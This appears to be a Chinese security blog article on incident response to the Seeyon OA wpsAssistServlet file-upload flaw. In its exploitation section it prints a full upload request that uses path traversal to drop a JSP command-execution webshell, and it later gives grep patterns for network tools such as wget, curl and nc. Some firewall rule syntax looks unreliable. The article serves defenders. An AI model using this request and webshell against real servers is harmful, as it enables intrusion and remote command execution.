ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

从一次应急响应看致远OA wpsAssistServlet漏洞:攻击者如何上传WebShell及如何排查

从一次应急响应看致远OA wpsAssistServlet漏洞:攻击者如何上传WebShell及如何排查

企业安全实战:致远OA wpsAssistServlet漏洞攻击溯源与应急响应指南

去年某金融企业内网渗透测试中,我们遇到一个典型案例:攻击者仅用3小时就通过致远OA漏洞完成从外网入侵到内网横向移动的全过程。事后分析发现,攻击链的起点正是wpsAssistServlet接口的任意文件上传漏洞。本文将基于真实攻防对抗经验,还原攻击者如何利用该漏洞植入WebShell,并为企业安全团队提供可落地的排查方案。

1. 攻击事件复盘:从异常告警到漏洞定位

某周四凌晨2点15分,某上市公司SOC平台突然触发多条异常告警:

  • Web服务器/tmp目录下出现异常.jsp文件
  • OA系统日志中出现大量404状态码的/seeyon/wpsAssistServlet请求
  • 数据库服务器出现非常规时间段的net.exe执行记录

安全团队立即启动应急响应流程。通过分析IIS日志,发现攻击者在成功利用漏洞前进行了大量探测行为:

# 典型攻击者探测请求(已脱敏) 192.168.1.100 - - [15/Mar/2023:02:03:12 +0800] "POST /seeyon/wpsAssistServlet HTTP/1.1" 404 1532 192.168.1.100 - - [15/Mar/2023:02:03:15 +0800] "GET /seeyon/manager/login.jsp HTTP/1.1" 200 4231

攻击者常用上传路径分析

路径类型典型位置隐藏程度
Web根目录/ROOT/cmd.jsp★★☆☆☆
临时目录/tmp/1.jsp★★★☆☆
静态资源目录/static/images/logo.jsp★★★★☆
日志目录/logs/access.jsp★★★★★

注意:攻击者通常会修改文件时间戳使其与合法文件保持一致,单纯依靠时间排序可能漏检

2. 漏洞利用深度解析:攻击者的操作手册

通过还原攻击流量,我们梳理出攻击者的典型操作流程:

  1. 环境探测阶段

    • 扫描/seeyon/目录下的敏感接口
    • 检查OA版本信息(通过/seeyon/README.txt
    • 测试其他已知漏洞作为备用方案
  2. 漏洞利用阶段
    攻击者发送的特制请求包包含以下关键特征:

POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/payload.jsp&fileId=2 HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="upload"; filename="test.txt" Content-Type: text/plain <%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> ------WebKitFormBoundaryABC123--
  1. 权限维持阶段
    • 创建多个WebShell副本(平均每个受害服务器发现3-5个)
    • 添加计划任务实现持久化
    • 清除部分访问日志(但会残留DELETE请求记录)

3. 企业级应急响应方案

3.1 即时处置措施

网络层封堵

# Cisco ASA示例规则 access-list OUTSIDE_IN extended deny tcp any any eq 80 url "/seeyon/wpsAssistServlet" access-list OUTSIDE_IN extended deny tcp any any eq 443 url "/seeyon/wpsAssistServlet"

主机层检测(Linux环境示例):

# 查找最近3天修改的jsp文件 find /var/www/ -name "*.jsp" -mtime -3 -ls # 检查异常进程 ps aux | grep -E 'wget|curl|nc|netcat|perl|python|php|sh|bash' # 检查计划任务 crontab -l ls -al /etc/cron.*/

3.2 深度排查指南

日志分析关键点

  1. 搜索包含wpsAssistServlet的POST请求
  2. 检查响应状态码为200但返回长度异常的请求
  3. 关注非常规时间段的文件创建事件

WebShell特征检测表

检测维度合法文件恶意WebShell
文件大小通常>5KB通常<3KB
包含关键词业务相关eval(runtime.exec
访问频率有规律突发性
引用来源内部IP境外IP

3.3 长效防护策略

  1. 补丁管理
    受影响版本应立即升级至:

    • A8 V8.1SP2(补丁编号:SEEYON-2023-001)
    • G6 V8.2(补丁编号:SEEYON-2023-002)
  2. 防御加固

    • 在Nginx层添加规则拦截恶意请求:
    location ~* ^/seeyon/wpsAssistServlet { deny all; }
    • 启用文件完整性监控(FIM)关键目录:
    # 监控Web根目录变化 auditctl -w /var/www/html/ -p wa -k web_content

4. 攻击痕迹取证与溯源

在一起制造业客户案例中,我们通过以下方法成功定位攻击者:

  1. 从Web访问日志中提取唯一User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.51
  2. 关联威胁情报发现该UA与某APT组织工具特征匹配
  3. 通过WAF日志还原攻击路径时间线:
时间操作源IP结果
02:03目录扫描185.xxx.xxx.xx发现wpsAssistServlet
02:17首次上传测试185.xxx.xxx.xx失败(参数错误)
02:29成功上传WebShell185.xxx.xxx.xx返回200
02:35执行whoami命令185.xxx.xxx.xx获取nt authority\system

在实际处置过程中,我们发现多数企业存在以下盲点:

  • 未监控/tmp等临时目录的文件变化
  • 允许OA服务器直接连接数据库
  • 缺乏对.jsp文件的内容检测机制
返回列表